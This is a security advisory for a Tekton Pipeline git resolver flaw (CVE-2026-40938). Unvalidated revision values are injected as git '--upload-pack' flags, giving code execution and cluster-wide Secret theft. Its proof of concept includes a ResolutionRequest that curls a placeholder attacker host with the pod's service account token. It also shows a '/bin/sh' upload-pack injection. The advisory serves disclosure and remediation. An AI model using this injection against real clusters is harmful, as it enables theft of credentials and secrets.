Skip to content

Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

High severity GitHub Reviewed Published Apr 21, 2026 in tektoncd/pipeline • Updated Apr 24, 2026

Package

gomod github.com/tektoncd/pipeline (Go)

Affected versions

>= 1.0.0, <= 1.11.0

Patched versions

1.11.1

Description

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details

Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

// pkg/resolution/resolver/git/repository.go lines 84-96
// 'revision' is the raw user-supplied string from the ResolutionRequest param.
// It is passed verbatim as a positional argument to git fetch:
func (repo *repository) checkout(ctx context.Context, revision string) error {
    _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")
    // When revision == "--upload-pack=/usr/bin/curl", git parses it as the
    // --upload-pack flag, not as a refspec — executing the binary locally.
    if err != nil {
        return fmt.Errorf("fetch: %w", err)
    }
    _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")
    return err
}

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

// validateRepoURL validates if the given URL is a valid git, http, https URL or
// starting with a / (a local repository).
func validateRepoURL(url string) bool {
    pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either:

  • A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
  • A default-URL configuration pointing at a local path

PoC

# Step 1: Set up a local git repository to serve as the "origin"
# (in a real attack, the attacker would time this against a concurrent clone
# or use any pre-existing git repo path on the resolver pod)
git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

# Step 2: Craft a ResolutionRequest with injected --upload-pack flag
kubectl create -f - <<'EOF'
apiVersion: resolution.tekton.dev/v1beta1
kind: ResolutionRequest
metadata:
  name: revision-injection-poc
  namespace: default
  labels:
    resolution.tekton.dev/type: git
spec:
  params:
    - name: url
      value: /tmp/localrepo
    - name: revision
      value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"
    - name: pathInRepo
      value: README.md
EOF

# The resolver pod executes:
# git -C <tmpdir> fetch origin \
#   "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \
#   --depth=1
#
# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):
# git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1
# Executes /bin/sh with the local repository path as argv[1].
# From /bin/sh, the attacker can use a pre-staged script (e.g., written
# via a workspace volume) to achieve arbitrary command execution.

Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.

Impact

  • Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in /tmp on the resolver pod.
  • Full cluster-wide Secret exfiltration: The tekton-pipelines-resolvers ServiceAccount is bound to a ClusterRole that grants get/list/watch on all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.
  • Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.
  • Both the deprecated resolver (pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the same validateRepoURL, PopulateDefaultParams, and checkout implementation via the shared git package. Both are affected.

Recommended Fix

Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:

if strings.HasPrefix(paramsMap[RevisionParam], "-") {
    return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam])
}

Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):

func validateRepoURL(url string) bool {
    pattern := `^([^@]+@[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.

References

@vdemeester vdemeester published to tektoncd/pipeline Apr 21, 2026
Published to the GitHub Advisory Database Apr 21, 2026
Reviewed Apr 21, 2026
Published by the National Vulnerability Database Apr 21, 2026
Last updated Apr 24, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

CVE ID

CVE-2026-40938

GHSA ID

GHSA-94jr-7pqp-xhcq

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.